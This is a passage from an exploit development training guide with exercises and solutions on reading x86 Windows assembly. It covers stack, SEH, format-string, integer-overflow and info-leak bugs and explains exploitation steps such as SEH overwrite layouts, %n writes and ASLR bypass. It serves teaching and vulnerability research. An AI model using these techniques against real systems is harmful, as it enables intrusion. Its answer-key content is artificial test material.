The gate is a field comparison at object offset `+0x14` against value 3. Arguments after the gate are forwarded into `sub_402500`, but the repeated `[esp+0Ch]` is suspicious because pushes change ESP. After `push [esp+0Ch]` (first push), ESP decreases by 4, so the second push `[esp+0Ch]` reads from a different original offset. Normalize: the first push reads `[original_esp+0Ch] = arg2`; after the push, the second push `[esp+0Ch]` reads `[original_esp+08] = arg1`. So `sub_402500(arg1, arg2)`. Verify by breaking before the call and dumping the stack. The source-level model is “only state 3 may call worker.”

10.11.2 Exercise 2 solution

Fact ledger:

Inputs:

`arg0` = session pointer

`[arg0+0Ch]` = buffer pointer (source for `strcpy`)

Outputs:

return value: implicit (EAX not set before `retn`)

Important reads:

`[eax+0Ch]` -- loads buffer pointer from session object

Important writes:

`strcpy` writes into `[ebp-100h]`, a 256-byte local buffer

Branch questions:

None -- no validation, no bounds check

Validated ranges:

NONE -- this is the problem

Compiler artifacts:

Standard EBP frame, no /GS cookie visible

Programmer assumptions:

The buffer at [session+0Ch] is shorter than 256 bytes

Exploit relevance:

strcpy has no length limit. If [session+0Ch] points to a string longer than 255 bytes (plus NUL), it overflows the 256-byte buffer.

Open questions: - Where does the session buffer content come from? (network input?) - Is there a length check in the caller or in the code that populates [session+0Ch]? - Is there a /GS cookie (check the full function, not just this snippet)? - Is there an SEH record on the stack between the buffer and saved EBP?

The function is exploitable IF the session buffer content is attacker-controlled and can exceed 255 bytes. The strcpy call has no bounds check.

10.11.3 Exercise 3 solution

```
0:000> bp app!sub_401400 ".printf \"sub_401400 called\\n\\n\"; .echo; dd esp+4 L3; g"
```

Or more precisely:

```
0:000> bp app!sub_401400
```

```
0:000> g
```

Hit breakpoint:

```
0:000> dd esp L4 ; return addr, arg0 (dest), arg1 (src), arg2 (count)
```

```
0:000> ? poi(esp+0Ch) ; evaluate count as a number
```

```
0:000> .if (poi(esp+0Ch) > 80) { .printf "OVERFLOW: count = %x\\n", poi(esp+0Ch) } .else { .
```

```
0:000> g
```

Send inputs of increasing size and check whether the count at [esp+0Ch] ever exceeds 0x80. If it does, the memcpy will overflow the 128-byte destination.

10.11.4 Challenge solution

Evidence checklist for exploitable memcpy:

```
[ ] Reachability: trace from recv/ReadFile to this function
    IDA: x-ref chain from recv caller to this function
    WinDbg: bp on function, send network input, verify it hits
```

```
[ ] Source control: does attacker control the source buffer content?
```

```

WinDbg: db poi(esp+8) L20 at memcpy -- compare with sent payload

[ ] Count control: does attacker influence the count argument?
WinDbg: ? poi(esp+c) at memcpy -- send varying lengths, observe count

[ ] Destination size: what is the buffer capacity?
IDA: check sub esp, N and lea for destination -- capacity = N or offset

[ ] Overflow: can count exceed capacity?
WinDbg: send payload with count > capacity, observe crash

[ ] Target: what gets overwritten?
WinDbg: !exchain (SEH), dd ebp L2 (saved EBP + return addr)
Calculate: offset from buffer to return address = capacity +
↳ saved_ebp(4)

[ ] Mitigations:
WinDbg: !checksec, !nmmod (ASLR, SafeSEH status)
IDA: look for __security_cookie (GS), SEH registration
WinDbg: !exploitable (after crash)

[ ] Bad characters:
Send 0x00-0xFF test pattern, compare in memory
WinDbg: db <buffer> L100

[ ] Payload space:
Count how many controlled bytes between overflow start and crash
Determine if egghunter is needed for small spaces

```

10.12 Key takeaways

- Follow the 9-step methodology: boundaries, inputs, outputs, guards, attacker-controlled values, invariants, compiler artifacts, pseudocode, WinDbg verification.
- Start from dangerous operations (memcpy, strcpy, sprintf) and trace backward to attacker input. Do not analyze every function sequentially.
- IDA's cross-references (Ctrl+X) are the primary tool for tracing data flow between functions. The decompiler is a hypothesis generator, not ground truth.
- WinDbg conditional breakpoints (bp addr "commands") turn manual stepping into automated logging. Use them to monitor every memcpy call with arguments.
- Never declare a function exploitable from static analysis alone. Verify attacker reachability, count control, and overflow impact in the debugger.

10.13 See also

- [osed-reversing-guide/how-to-think-while-reversing.md](#) – complementary reversing mindset guide.

- [osed-reversing-guide/07-data-flow.md](#) – data flow tracing methodology.
- [osed-reversing-guide/12-ida-windbg-loop.md](#) – IDA and WinDbg integration.
- [osed-reversing-guide/13-worked-example.md](#) – full worked example applying methodology to a real binary.
- [DRILLS/function_analysis.md](#) – function analysis practice drills.
- [DRILLS/dataflow.md](#) – data flow tracing drills.
- [DRILLS/windbg_investigation.md](#) – WinDbg investigation drills.
- [Tools/crashtrriage/](#) – automated crash triage.
- [Tools/pattern/](#) – cyclic pattern generation for offset calculation.

Chapter 11

11. Exploit-Oriented Reading

11.1 Learning objectives

- Recognize exploit-relevant bug classes in assembly.
- Connect semantic recovery to attacker control.
- Identify stack, heap, integer, format string, lifetime, SEH, DEP, and ROP implications.
- Trace data flow from network input to exploitable operation.
- Identify information leaks and ASLR bypass opportunities.
- Test for bad characters and understand their impact on payload delivery.
- Avoid declaring exploitability from one instruction.

11.2 Concept discussion

Exploit-oriented reverse engineering is not “find scary functions.” It is reachability plus control plus impact.

For each suspicious operation, ask:

- Can attacker-controlled data reach this operation?
- Is the destination bounded by the same value being copied?
- Is there a mismatch between length, capacity, signedness, or units?
- What object lies after the overwritten region?
- Does normal control flow reach an exploitable use?
- Do mitigations change the strategy?

11.2.1 Bug class decision tree

When you encounter a suspicious operation, classify it by what the attacker controls:

Is attacker data used as:

- | | |
|----------------------|--------------------------------------|
| -> copy size? | -> integer overflow / unbounded copy |
| -> copy destination? | -> arbitrary write |
| -> format string? | -> format string attack |
| -> function pointer? | -> direct EIP control |

-> array index?	-> out-of-bounds access
-> free() argument?	-> use-after-free / double-free
-> comparison operand?	-> authentication bypass
-> allocation size?	-> heap overflow via undersized allocation

11.3 Common compiler patterns

- Stack overflow: local buffer address passed as destination with unchecked count.
- Heap overflow: heap pointer plus attacker length, no capacity check.
- Integer overflow: add/imul before allocation or copy, no carry/range check.
- Integer truncation: movzx eax, ax or and eax, 0FFFFh after arithmetic silently drops high bits; a 32-bit length that passes a check can become a smaller value used as a copy count. Watch for movzx/movsx between an arithmetic result and its use as a size, and for signed/unsigned mismatch where jl guards a value later consumed by an unsigned rep movs count.
- Format string: attacker pointer passed as format argument.
- UAF: _free(ptr) followed by later dereference through alias.
- Double free: same pointer freed on multiple paths without nulling all aliases.
- Off-by-one: check len <= cap followed by dst[len] = 0.
- SEH: stack exception records near corruptible buffers.
- DEP: indirect calls to VirtualProtect, VirtualAlloc, or ROP-relevant imports.
- ROP-friendly code: controllable dispatch, stack pivot gadgets, imported API pointers.

11.4 Fully annotated example: stack overflow

```
sub_401A00:
    push    ebp
    mov     ebp, esp
    sub     esp, 88h
    lea     eax, [ebp-80h]
    push    [ebp+0Ch]
    push    [ebp+8]
    push    eax
    call    _memcpy
    add     esp, 0Ch
    mov     eax, 1
    mov     esp, ebp
    pop     ebp
    retn
```

Annotated:

```
sub esp, 88h / lea eax, [ebp-80h]
; Local destination buffer appears to be 128 bytes.
```

```

push [ebp+0Ch]
; Count comes from caller.

push [ebp+8]
; Source comes from caller.

call _memcpy
; Raw count-based copy. No local bounds check visible.

```

This is a stack-overflow candidate. It is not proven exploitable yet. You still need caller provenance, maximum count, cookie presence, saved return offset, SEH layout, and post-copy behavior.

Exploit ledger:

```

destination: stack local at ebp-0x80
capacity hypothesis: 0x80 bytes
source: caller-controlled? unknown
count: caller-controlled? unknown
check: none in this function
mitigation observed: no cookie in snippet
impact: possible overwrite above local buffer
next proof: xrefs and debugger crash offset

```

11.5 Worked example: format string

```

sub_401B00:
  push    ebp
  mov     ebp, esp
  sub     esp, 200h
  push    [ebp+0Ch]      ; user-controlled data (source)
  push    [ebp+8]        ; user-controlled format string
  lea     eax, [ebp-200h]
  push    eax            ; destination buffer (local, 512 bytes)
  call    _sprintf
  add     esp, 0Ch
  lea     eax, [ebp-200h]
  push    eax
  call    _puts
  add     esp, 4
  mov     esp, ebp
  pop     ebp
  retn

```

The critical observation: `[ebp+8]` is pushed as the format string argument to `sprintf`. If this value comes from attacker input (network data, file content), the attacker controls the format string.

11.5.1 What the attacker can do

The stack during the `sprintf` call looks like:

Higher addresses	
+-----+	
[ebp+0Ch]	third arg to sprintf (data for format specifiers)
[ebp+8]	format string pointer (ATTACKER CONTROLLED)
lea result	destination buffer
return addr to caller	
+-----+	<-- ESP when sprintf starts

With a controlled format string:

- **%x**: reads the next dword from the stack and prints it as hex. Each `%x` consumes one stack slot, walking up the stack. After enough `%x` specifiers, the attacker reads the saved EBP, return address, cookie, and other stack data.
- **%s**: dereferences the next stack dword as a pointer and prints the string at that address. If the dword is not a valid pointer, the process crashes.
- **%n**: writes the number of bytes output so far to the address stored in the next stack dword. This is an arbitrary write primitive. On 32-bit Windows, `%hn` writes a 16-bit value and `%hnh` writes an 8-bit value.
- **Direct parameter access (%N\$x)**: reads the Nth stack slot directly without consuming intermediate slots. `%7$x` reads the 7th dword above the format string pointer on the stack.

11.5.2 Format string exploit strategy

1. Use `%x` or `%N$x` to read stack values and locate: return addresses (for ASLR bypass), cookie values, and stack addresses.
2. Use width specifiers (e.g., `%50000x`) to control the byte count.
3. Use `%n` or `%hn` to write a controlled value to a controlled address.
4. Target: overwrite a return address, SEH handler, GOT entry, or function pointer with the address of shellcode or a ROP gadget.

11.5.3 WinDbg verification

```
0:000> bp app!sub_401B00
0:000> g
0:000> dd esp L10           ; view stack when sprintf is called
0:000> da poi(esp+4)       ; view format string content
0:000> dd esp+0Ch L20      ; view stack slots that %x will read
```

11.6 Worked example: SEH overwrite

```
sub_401C00:
push     ebp
```

```

mov     ebp, esp
push    offset __except_handler4    ; SEH handler
push    dword ptr fs:[0]            ; previous SEH record
mov     fs:[0], esp                ; register new SEH record
sub     esp, 100h
lea     eax, [ebp-108h]             ; local buffer (256 bytes)
push    [ebp+0Ch]                   ; count from caller
push    [ebp+8]                     ; source from caller
push    eax                         ; destination
call    _memcpy
add     esp, 0Ch
; ... (normal processing) ...
pop     dword ptr fs:[0]            ; restore SEH chain
add     esp, 4
mov     esp, ebp
pop     ebp
retn

```

The stack layout after the SEH registration and local allocation:

Higher addresses

+-----+	
[ebp+0Ch] arg1 (count)	
[ebp+08h] arg0 (source)	
return address	
saved EBP	<-- EBP
SEH handler address	EXCEPTION_REGISTRATION_RECORD
previous SEH record (next ptr)	(nSEH)
... 256 bytes of local buffer ..	
[ebp-108h] buffer start <-- dst	
+-----+	

Lower addresses

If memcpy copies more than 256 bytes, it overflows upward: 1. First it fills the 256-byte buffer. 2. Then it overwrites the previous SEH record pointer (nSEH) – 4 bytes. 3. Then it overwrites the SEH handler address – 4 bytes. 4. Then it reaches saved EBP and the return address.

11.6.1 SEH exploitation path

The overflow does not need to reach the return address. Overwriting the SEH handler is sufficient:

1. Fill the buffer with padding (256 bytes).
2. Overwrite nSEH with a short jump: EB 06 90 90 (jump forward 6 bytes over the SEH handler field).
3. Overwrite the SEH handler with the address of a POP; POP; RET gadget from a non-SafeSEH module.
4. Trigger an exception (the overflow itself may cause one by writing past the stack guard page).

When the exception fires: - Windows walks the SEH chain and calls the corrupted handler. - The

POP-POP-RET gadget executes: pops two values, ret lands on nSEH. - nSEH contains EB 06 (short jump), which jumps over the handler field to the attacker's shellcode or ROP chain.

After overflow:

+-----+	
90 90 90 90 ... (padding)	256 bytes
EB 06 90 90 (nSEH)	short jmp +6
<POP POP RET addr> (SEH)	gadget from non-SafeSEH module
[shellcode or ROP chain]	execution lands here after jmp
+-----+	

11.6.2 Why SEH bypasses /GS cookies

The stack cookie (`__security_cookie XOR ebp`) is checked in the function epilogue, BEFORE the function returns. But the SEH handler is invoked by the OS exception dispatcher BEFORE the function returns. The overflow triggers an exception, the corrupted handler fires, and the cookie check never runs.

11.6.3 Verify in WinDbg

```
0:000> !exchain                ; view SEH chain before and after overflow
0:000> bp app!sub_401C00        ; break at function entry
0:000> g
0:000> dd fs:[0] L2              ; current SEH record: [next, handler]
0:000> !address poi(fs:[0]+4)    ; check handler module (SafeSEH status)
```

11.7 Worked example: integer overflow

```
sub_401D00:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]        ; EAX = user-supplied count
    add     eax, 10h            ; EAX = count + 0x10 (header size)
    push    eax
    call    _malloc
    add     esp, 4
    test    eax, eax
    jz      fail
    mov     ecx, [ebp+8]        ; ECX = original count (reload)
    push    ecx                ; memcpy count = original value
    push    [ebp+0Ch]           ; source
    push    eax                ; destination = malloc result
    call    _memcpy
    add     esp, 0Ch
    mov     esp, ebp
    pop     ebp
    retn
```

```
fail:
    xor     eax, eax
    mov     esp, ebp
    pop     ebp
    retn
```

Annotated:

```
Allocation: malloc(count + 0x10)
Copy:      memcpy(buf, src, count)
```

```
If count = 0xFFFFFFFF0:
    count + 0x10 = 0x100000000 = 0x00000000 (32-bit wrap)
    malloc(0) succeeds, returning a tiny buffer (typically 16 bytes).
    memcpy(buf, src, 0xFFFFFFFF0) copies ~4GB into a 16-byte buffer.
```

The root cause: `add eax, 10h` can wrap around without setting any flag that is checked. There is no `jc` (jump-if-carry) after the add.

Even without the extreme `0xFFFFFFFF0` case, any count where `count + 0x10` wraps past `0xFFFFFFFF` or where `count > count + 0x10` as an unsigned value leads to an undersized allocation.

11.7.1 Exploit strategy

1. Send a count value that causes the allocation to be small.
2. The `memcpy` writes far past the allocated heap chunk.
3. Corrupt adjacent heap metadata or application objects.
4. Depending on the heap implementation: overwrite function pointers, linked list pointers, or trigger a write-what-where during heap operations.

11.8 Worked example: information leak

```
sub_401E00:
    push    ebp
    mov     ebp, esp
    sub     esp, 80h
    ; ... (process request, partially fill buffer) ...
    push    0                ; flags
    push    80h              ; len = full buffer size
    lea     eax, [ebp-80h]
    push    eax              ; buf (stack local)
    push    [ebp+8]          ; socket
    call    _send
    add     esp, 10h
    mov     esp, ebp
    pop     ebp
```

retn

The function allocates 128 bytes of stack space and sends the entire buffer to the network. If the processing above only fills part of the buffer, the remaining bytes contain uninitialized stack data from previous function calls.

11.8.1 What leaks

Uninitialized stack memory can contain:

- **Return addresses** from previous calls (reveals module base addresses, defeating ASLR).
- **Stack cookie values** (allows computing the correct cookie for a stack overflow exploit).
- **Heap pointers** (reveals heap layout for heap exploitation).
- **Saved EBP values** (reveals stack layout for stack pivots).

11.8.2 Exploit strategy

1. Send a request that triggers the vulnerable response.
2. Read the response and identify leaked pointer values.
3. Subtract known RVAs from leaked code pointers to compute module bases.
4. Use the leaked base to calculate gadget addresses for a ROP chain.

11.8.3 Verify in WinDbg

```
0:000> bp app!sub_401E00
0:000> g
0:000> dd ebp-80 L20          ; view buffer content before send
                                ; look for recognizable addresses
0:000> !address <leaked_ptr>  ; identify which module a pointer belongs to
0:000> ? <leaked_ptr> - app    ; compute offset from module base
```

11.9 ASLR bypass techniques

ASLR randomizes module base addresses, making hardcoded gadget addresses unreliable. Bypass strategies for OSED:

11.9.1 Non-ASLR modules (primary OSED approach)

Many application-shipped DLLs are compiled without /DYNAMICBASE. These load at their preferred base address every time, providing reliable gadget addresses.

How to find them:

```
0:000> !nmmod                ; with nlrly extension -- shows ASLR status
0:000> lm                    ; list modules with base addresses
0:000> !dh <module> -f       ; check DLL characteristics for DYNAMIC_BASE
```

In IDA: Edit -> Segments -> Rebase program to match the actual load address. Check DllCharacteristics in the PE header for the 0x0040 flag (IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE).

11.9.2 Information leaks

If the application leaks a pointer (format string, error message, protocol response, uninitialized memory), compute the module base at runtime:

```
leaked_VA    = module_base + known_RVA
module_base = leaked_VA - known_RVA
```

With the base known, all RVAs resolve to correct VAs despite ASLR.

11.9.3 Partial pointer overwrites

If only the low 2 bytes of a return address can be overwritten, ASLR entropy in the high bytes does not matter. The low 16 bits of a module base are often page-aligned (always 0x0000), so the low 16 bits of any gadget VA are deterministic. This enables probabilistic attacks with 1-in-256 success rates.

11.10 Bad character identification

Bad characters are byte values that get mangled, dropped, or cause truncation during input processing. Common bad characters:

Byte	Reason
0x00	C string terminator – truncates the payload
0x0A	Line feed – many protocols treat as end-of-line
0x0D	Carriage return – same as above
0x20	Space – may terminate tokens in text protocols
0x25	Percent – URL encoding, format string interpretation

11.10.1 Testing for bad characters

1. Generate a buffer containing all 256 byte values (0x00 through 0xFF).
2. Send it through the vulnerable input path.
3. In WinDbg, examine the buffer in memory and compare byte by byte:

```
0:000> db <buffer_addr> L100
```

4. Any byte that is missing, replaced, reordered, or causes truncation is a bad character. Record all of them.

The repository's `Tools/badchars/` module generates test patterns for this purpose.

11.10.2 Impact on exploitation

- Bad characters in **shellcode** must be encoded away (XOR encoder, alphanumeric encoder, or manual avoidance).
- Bad characters in **gadget addresses** require alternative gadgets, arithmetic construction, or a different source module.

- Bad characters in **argument values** (e.g., VirtualProtect arguments on the stack) must be constructed via ROP gadgets at runtime.

11.11 Reverse engineering thought process

11.11.1 Exploit triage checklist

For any suspicious operation, fill this checklist before declaring exploitability:

1. Attacker reachability: Can attacker data reach this operation?
 - ☐ Direct (argument from recv/read)
 - ☐ Indirect (through parsing, copying, transformation)
 - ☐ Unknown (need more tracing)
2. Control: What does the attacker control?
 - ☐ Copy size
 - ☐ Destination address
 - ☐ Source content
 - ☐ Format string
 - ☐ Index/offset
 - ☐ Function pointer
3. Impact: What gets corrupted?
 - ☐ Return address (direct EIP control)
 - ☐ SEH handler (EIP via exception)
 - ☐ Adjacent heap metadata
 - ☐ Application object (function pointer, vtable)
 - ☐ Nothing reachable (not exploitable)
4. Mitigations:
 - ☐ Stack cookie (/GS) -- present? bypassable via SEH?
 - ☐ SafeSEH -- module protected? alternative non-SafeSEH module?
 - ☐ DEP -- enabled? can bypass via ROP?
 - ☐ ASLR -- all modules? non-ASLR module available?
5. Payload delivery:
 - ☐ Bad characters identified?
 - ☐ Payload space sufficient?
 - ☐ If small space: egghunter viable?
 - ☐ Staged delivery possible?

11.12 Common mistakes

- Calling memcpy itself a vulnerability. The bug is the relationship between source, destination, and count – not the function.
- Ignoring caller-side validation. The function may be safe because every caller validates the length. Trace callers before declaring a bug.

- Missing integer unit mismatch: elements vs bytes. A size in elements multiplied by element size can overflow.
- Assuming a crash means EIP control. A crash at `mov [eax], ecx` gives a write-what-where, not EIP control. A crash at `ret` with a controlled stack gives EIP control.
- Treating DEP code as irrelevant because the current bug is a stack overflow. DEP determines the exploitation strategy (ROP vs direct shellcode).
- Ignoring information leaks. A function that sends uninitialized stack data over the network is not a direct code execution bug, but it enables ASLR bypass for a separate overflow.
- Failing to test bad characters before building the payload. One untested bad character can silently corrupt the entire exploit.

11.13 Exercises

11.13.1 Exercise 1: heap overflow via size mismatch

```
sub_401A80:
    mov     eax, [esp+8]
    add     eax, 10h
    push    eax
    call    _malloc
    add     esp, 4
    mov     ecx, [esp+8]
    shl     ecx, 4
    push    ecx
    push    [esp+8]
    push    eax
    call    _memcpy
    add     esp, 0Ch
    retn
```

Questions:

- What arithmetic mismatch may exist?
- Which values need provenance?
- What bug class is plausible?

11.13.2 Exercise 2: signed/unsigned length mismatch

```
sub_401B40:
    push    ebp
    mov     ebp, esp
    sub     esp, 100h
    mov     eax, [ebp+0Ch]      ; length argument
    cmp     eax, 100h
    jl      ok
    xor     eax, eax
    mov     esp, ebp
```

```

    pop     ebp
    retn
ok:
    push    eax
    push    [ebp+8]
    lea     ecx, [ebp-100h]
    push    ecx
    call    _memcpy
    add     esp, 0Ch
    mov     eax, 1
    mov     esp, ebp
    pop     ebp
    retn

```

Questions:

- Is the length check correct?
- What happens if the caller passes a negative length (e.g., 0xFFFFFFFF)?
- What bug class does this represent?

11.13.3 Exercise 3: information leak identification

```

sub_401C40:
    push    ebp
    mov     ebp, esp
    sub     esp, 40h
    mov     dword ptr [ebp-40h], 1    ; status code
    mov     dword ptr [ebp-3Ch], 0    ; error code
    ; bytes at [ebp-38h] through [ebp-1] are NOT initialized
    push    0
    push    40h
    lea     eax, [ebp-40h]
    push    eax
    push    [ebp+8]
    call    _send
    add     esp, 10h
    mov     esp, ebp
    pop     ebp
    retn

```

Questions:

- How many bytes are sent? How many are initialized?
- What could the uninitialized bytes contain?
- How would an attacker use the leaked data?

11.14 Challenge problems

11.14.1 Challenge 1: format string

```
sub_401AD0:
    push    [esp+4]
    call    _printf
    add     esp, 4
    retn
```

Why is this more dangerous than `printf("%s", user)` even though both print user data?

11.14.2 Challenge 2: combined vulnerability analysis

```
sub_402000:
    push    ebp
    mov     ebp, esp
    push    offset handler_402100
    push    dword ptr fs:[0]
    mov     fs:[0], esp
    sub     esp, 80h
    mov     eax, [ebp+8]           ; arg0 = socket
    mov     ecx, [ebp+0Ch]        ; arg1 = buffer pointer
    movzx   edx, word ptr [ecx]   ; EDX = first 2 bytes of buffer (length
    ↪ field)
    cmp     edx, 400h
    ja      fail
    push    edx                   ; count
    add     ecx, 2                ; skip length field
    push    ecx                   ; source
    lea     eax, [ebp-88h]
    push    eax                   ; destination (128-byte local buffer)
    call    _memcpy
    add     esp, 0Ch
    ; ... process buffer ...
    pop     dword ptr fs:[0]
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    pop     dword ptr fs:[0]
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    retn
```

List every vulnerability and mitigation consideration in this function. What is the most reliable exploitation path?

11.15 Solutions with reasoning

11.15.1 Exercise 1 solution

Allocation size is $n + 0x10$, but copy size is $n << 4 (n * 16)$. For any $n \geq 2$, the copy size exceeds the allocation size because $n * 16 > n + 16$ simplifies to $15n > 16$. There may also be integer overflow in either expression. Provenance is needed for n and the source pointer. The plausible class is heap overflow via size-calculation mismatch.

Plausible pseudocode:

```
buf = malloc(n + 0x10);  
memcpy(buf, src, n * 16);
```

11.15.2 Exercise 2 solution

The length check uses `j l` (jump if less – SIGNED comparison). If the caller passes `0xFFFFFFFF` (-1 as signed), the comparison `cmp eax, 100h` sets `SF=1` and `OF=0`, so `SF != OF` and `j l` is taken – the code falls through to `ok`.

The `memcpy` then receives `0xFFFFFFFF` as an unsigned count, copying ~4GB into a 256-byte stack buffer. This is a signed/unsigned mismatch vulnerability.

The fix: use `j ae` (unsigned above-or-equal) instead of `j l`, or add a separate check for negative values (`test eax, eax; js fail`).

This bug class is extremely common in OSED targets. Any time you see `j l`, `j le`, `j g`, or `j ge` guarding a value that will be used as an unsigned size or count, investigate whether negative values can bypass the check.

11.15.3 Exercise 3 solution

The function sends 64 bytes (`0x40`) but only initializes 8 bytes (two dwords at `[ebp-40h]` and `[ebp-3Ch]`). The remaining 56 bytes at `[ebp-38h]` through `[ebp-1]` contain whatever was on the stack from previous function calls.

The uninitialized bytes could contain: - Return addresses from prior calls (reveals code addresses, defeating ASLR) - Saved EBP values (reveals stack layout) - Stack cookie values (enables cookie prediction for /GS bypass) - Heap pointers (reveals heap layout) - Application data from prior operations

An attacker would: 1. Send requests that trigger this response. 2. Read the leaked bytes from the network. 3. Identify pointer-sized values (4-byte aligned, in expected address ranges). 4. Subtract known RVAs to compute module bases. 5. Use the leaked base addresses to build a reliable ROP chain for a separate overflow vulnerability.

11.15.4 Challenge 1 solution

The user pointer is passed as the format string, not as data for a fixed format. That allows %x, %s, %n, positional parameters, and width specifiers to change reads and writes performed by printf. The programmer assumed the string was inert text; the C runtime treats it as a command language.

Specifically: - %x reads stack dwords (information disclosure) - %s dereferences stack dwords as string pointers (crash or disclosure) - %n writes the byte count to an address on the stack (arbitrary write) - %N\$n with width specifiers gives controlled writes to controlled addresses

printf("%s", user) is safe because "%s" is a compile-time constant format string. The user data is consumed by %s as data, not interpreted as format specifiers.

11.15.5 Challenge 2 solution

Vulnerabilities:

1. **Stack overflow:** the buffer at [ebp-88h] is 128 bytes (0x80), but the length check allows up to 0x400 (1024) bytes. The `cmp edx, 400h; ja fail` check is far too permissive.
2. **SEH overwrite:** the function registers an SEH handler. The overflow from the 128-byte buffer will overwrite the EXCEPTION_REGISTRATION_RECORD before reaching the saved EBP and return address.
3. **Length field from attacker data:** `movzx edx, word ptr [ecx]` reads a 16-bit length from the network buffer. The maximum is 0xFFFF (65535), not 0x400 – but the check limits it to 0x400. The unsigned comparison (`ja`) is correct; there is no signed/unsigned mismatch here.

Mitigations: - No /GS cookie visible in the function (no `__security_cookie` XOR pattern). - SEH handler is registered but may or may not be SafeSEH-protected. - DEP status unknown – if enabled, need ROP chain.

Most reliable exploitation path: SEH overwrite. - Overflow the 128-byte buffer with 128 bytes of padding. - Overwrite nSEH with `EB 06 90 90` (short `jmp`). - Overwrite SEH handler with POP-POP-RET gadget from a non-SafeSEH module. - Place shellcode or ROP chain after the SEH handler. - The overflow itself or a deliberate invalid memory access triggers the exception, and the corrupted handler executes.

This path bypasses /GS (if present) because the SEH handler fires before the cookie check. It requires finding a non-SafeSEH module for the POP-POP-RET gadget.

11.16 Key takeaways

- Exploit-oriented reading is reachability + control + impact. No single instruction is a vulnerability – the relationship between source, destination, count, and validation determines exploitability.
- Format strings are command languages: %n writes to memory, %x reads the stack, %N\$x gives direct parameter access.
- SEH overwrites bypass /GS cookies because the exception handler fires before the epilogue cookie check runs.

- Integer overflows in allocation-size arithmetic create undersized buffers followed by oversized copies.
- Signed/unsigned mismatches in length checks (using `j l` instead of `j b`) allow negative values to bypass bounds checks and become huge unsigned copy counts.
- Information leaks (uninitialized stack memory sent to the network) defeat ASLR by revealing module base addresses.
- Always identify bad characters before building any payload – they affect shellcode, gadget addresses, and argument values.

11.17 See also

- `x86-osed-assembly-reference/11-buffers-and-stack-overflows.md` – buffer layout, offset calculation, cyclic patterns, bad characters.
- `x86-osed-assembly-reference/22-format-string-assembly-concepts.md` – format specifier behavior, parameter indexing, partial writes.
- `x86-osed-assembly-reference/15-dep-and-page-protections.md` – DEP, page constants, `VirtualProtect/VirtualAlloc`.
- `x86-osed-assembly-reference/16-aslr-and-module-addressing.md` – ASLR scope, non-ASLR modules, information leaks, partial overwrites.
- `osed-reversing-guide/10-buffers-and-offsets.md` – buffer analysis methodology.
- `DRILLS/stack_overflow.md` – stack overflow practice drills.
- `DRILLS/crash_analysis.md` – crash triage and analysis drills.
- `DRILLS/primitive_identification.md` – identifying exploit primitives.
- `Tools/badchars/` – bad character test pattern generation.
- `Tools/pattern/` – cyclic pattern generation for offset calculation.
- `Tools/crashtrriage/` – automated crash triage utilities.

Chapter 12

12. Case Studies from Vulnerable Windows Service Patterns

12.1 Learning objectives

- Apply the full methodology to realistic service-handler shapes.
- Follow attacker-controlled network data through dispatch, auth, parsers, and copy helpers.
- Distinguish suspicious-safe code from exploitable code.
- Build an exploit-relevant model without relying on source names.

12.2 Concept discussion

Real vulnerable services rarely put the bug in the first function you open. The dispatcher routes by opcode. The handler checks auth. The parser extracts fields. The helper copies bytes. The bug appears when a programmer assumption at one layer is not enforced at the layer doing memory writes.

These case studies are modeled on patterns found in the repository's Windows x86 training labs under `Tools/` and `scripts/`. The function names below are representative; the actual lab binaries use similar shapes:

- opcode dispatch similar to `dispatch_command`
- safe copy helpers similar to `copy_metadata` and `copy_echo_payload`
- unsafe record copy similar to `copy_record_payload`
- auth-gated parser routing similar to config-set handlers

12.3 Common compiler patterns

- `strcmp` dispatch: compare command prefixes, branch to handlers.
- Switch dispatch: opcode range check and jump table.
- Safe copy helper: `if (len >= dst_size) fail; memcpy; dst[len]=0.`
- Unsafe copy helper: local buffer plus attacker-controlled count.
- Auth gate: session field checked before parser call.

- Response/logging calls: noise unless they consume attacker data dangerously.

12.4 Fully annotated example

Assembly first:

```
sub_402000:
    push    ebp
    mov     ebp, esp
    sub     esp, 84h
    mov     eax, [ebp+0Ch]
    cmp     eax, [ebp+10h]
    ja      reject
    lea     ecx, [ebp-80h]
    push    eax
    push    [ebp+8]
    push    ecx
    call    _memcpy
    add     esp, 0Ch
    xor     eax, eax
    mov     esp, ebp
    pop     ebp
    retn

reject:
    mov     eax, 0FFFFFFFFh
    mov     esp, ebp
    pop     ebp
    retn
```

Annotated:

```
sub esp,84h / lea ecx,[ebp-80h]
; Local stack buffer around 128 bytes.

mov eax,[ebp+0Ch]
cmp eax,[ebp+10h] / ja reject
; Checks copy_len <= source_len or declared_len. This is not a destination
; capacity check.

push eax / push [ebp+8] / push ecx / call _memcpy
; Copy attacker-controlled count into fixed local destination if prior
; ↪ length
; relation holds.
```

The key semantic failure: the code proves the copy does not read past the source record, but it does not prove the local destination can hold the copy. The programmer assumed “copy length is valid” meant “copy length is safe for every destination.” The compiler merely implemented that assumption.

12.5 Reverse engineering thought process

Case-study ledger:

```
data origin: network body, through parser
gate: copy_len <= source_len
missing invariant: copy_len < sizeof(local_buffer)
destination: stack local
impact: overwrite frame if copy_len > 0x80
next steps: identify reachability, saved return offset, cookie/SEH, bad
↳ chars,
DEP strategy
```

A reverse engineer explains the bug as an invariant mismatch. An exploit developer turns the mismatch into control: offset, controllable bytes, reliable return path, and mitigation bypass.

12.6 Case study 2: SEH-based exploitation

```
sub_402300:
    push    ebp
    mov     ebp, esp
    mov     eax, ___security_cookie
    xor     eax, ebp
    mov     [ebp-4], eax           ; store /GS cookie at [ebp-4]
    push    offset handler_402400 ; SEH handler
    push    dword ptr fs:[0]      ; previous SEH record
    mov     fs:[0], esp           ; register exception handler
    sub     esp, 100h
    lea     ecx, [ebp-10Ch]       ; local buffer (256 bytes)
    push    [ebp+0Ch]             ; attacker-controlled count
    push    [ebp+8]               ; attacker-controlled source
    push    ecx
    call    _memcpy
    add     esp, 0Ch
    ; ... normal processing ...
    pop     dword ptr fs:[0]      ; restore SEH chain
    add     esp, 4
    mov     ecx, [ebp-4]
    xor     ecx, ebp
    call    @__security_check_cookie@4 ; verify /GS cookie
    mov     esp, ebp
    pop     ebp
    retn
```

Stack layout:

Higher addresses

+-----+

12.7 Case study 3: format string in logging

```

sub_402500:
    push    ebp
    mov     ebp, esp
    sub     esp, 200h
    mov     eax, [ebp+8]           ; arg0 = client session
    mov     ecx, [eax+10h]        ; ECX = log message from client buffer
